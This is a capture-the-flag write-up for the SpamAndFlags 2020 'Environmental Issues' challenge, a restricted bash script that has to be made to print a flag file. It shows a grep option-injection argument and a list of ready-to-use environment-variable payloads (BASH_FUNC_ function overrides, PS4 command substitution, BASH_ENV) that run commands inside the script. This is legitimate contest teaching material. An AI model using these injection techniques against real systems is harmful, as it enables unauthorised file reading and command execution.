SpamAndFlags 2020 - Environmental Issues
Challenge
Guys, it’s 2020. If we don’t fix up our environment, we’ll never save the globe. Or get enough flags out of this bug-free shell script.
Server: nc 35.242.189.239 1337
192+206+213+213+278+415 points, solved the first four (192+206+213+213)
Solution (broken version)
We get a Python script (challenge.py), a shell script (script.sh) and some other configuration file (config.json and issues.txt).
We need to do the following:
- Create
KEY, VALUE, ARGUMENT
triplets - We Python code executes a restricted shell (within a new process), and within the shell sets the
KEY
environment variable toVALUE
and executesscript.sh ARGUMENT
. So basicallyKEY=VALUE script.sh ARGUMENT
- We get one point if the
stdout
orstderr
of the executed process contains the content of/flag
, which is created randomly before every script execution (FlagFragment\{[0-9a-f]{36}\}
) - If we get enough points, we will receive some flags
- Unique
KEY
s count only
#!/usr/bin/env bash
####################################
# THE ENVIRONMENTAL ISSUE DATABASE #
####################################
set -x
if ! test -z "$USE_SED"
then
line="$(sed -n "/${1:?Missing arg1: name}/p" issues.txt)"
else
line="$(grep "${1:?Missing arg1: name}" < issues.txt)"
# For the Regulated version
# line="$(grep -- "${1:?Missing arg1: name}" < issues.txt)"
fi
echo "$line"
silent() { "$@" &>/dev/null; return "$?"; }
quiet() { bash -c 'for fd in /proc/$$/fd/*
do eval "exec ${fd##*/}>&-"
done; "$@" &> /dev/null' bash "$@"; }
if ! silent hash imaginary
then
silent imaginary
quiet cat flag
fi
The first version of the challenge was broken and we could read out the content of /flag
by abusing the grep
options in the shell script.
For example, settings the ARGUMENT
to -rIeFlagFragment
will print the contents of /flag
. The -r
(recursive) option was needed to use the /flag
file and the -I
option (exclude binary files) was needed because the remote script terminated when binary files were grep-ed thanks to -r
.
By setting the KEY
to 15 different values, we get 4 flags:
SaF{NiceJobYouHaveJustKilledAllTheBees🐝StopNowBeforeItIsTooLate!}
fromSaF{NiceJobYouHaveJustKilledAllTheBees\xf0\x9f\x90\x9dStopNowBeforeItIsTooLate!}
SaF{HereIsYourFlagButAtWhatPrice?https://www.youtube.com/watch?v=eROSvnr3QZM}
SaF{🔥UNINTENDED💀ENVIRON🔥MENTAL💀COLLAPSE🔥}
fromSaF{\xf0\x9f\x94\xa5UNINTENDED\xf0\x9f\x92\x80ENVIRON\xf0\x9f\x94\xa5MENTAL\xf0\x9f\x92\x80COLLAPSE\xf0\x9f\x94\xa5}
Solution (fixed version)
The fixed version of the challenge did not allow to modify the grep
options directly, only the arguments (grep --
).
We could come up with 11 solutions (redefining 9 functions or built-ins and using 2 special envvars):
[
["BASH_FUNC_grep%%", "() { /usr/bin/env cat flag; }", "grep"],
["BASH_FUNC_test%%", "() { /usr/bin/env cat flag; }", "test"],
["BASH_FUNC_echo%%", "() { /usr/bin/env cat flag; }", "echo"],
["BASH_FUNC_bash%%", "() { /usr/bin/env cat flag; }", "bash"],
["BASH_FUNC_set%%", "() { /usr/bin/env cat flag; }", "set"],
["BASH_FUNC_return%%", "() { /usr/bin/env cat flag; }", "return"],
["BASH_FUNC_exec%%", "() { /usr/bin/env cat flag; }", "exec"],
["BASH_FUNC_eval%%", "() { /usr/bin/env cat flag; }", "eval"],
["BASH_FUNC_cat%%", "() { /usr/bin/env cat flag > /proc/$PPID/fd/1; }", "cat"],
["PS4", "$(/usr/bin/env cat flag)", "test"],
["BASH_ENV", "flag", "test"]
]
Unfortunately, there are four other ways:
- Setting
USE_SED
and command execution withsed
- Using
GREP_OPTIONS
- Redefining
hash
and redefiningreturn
within the redefinedhash
- Redefining
_command_not_found_handle
(this one really does exist)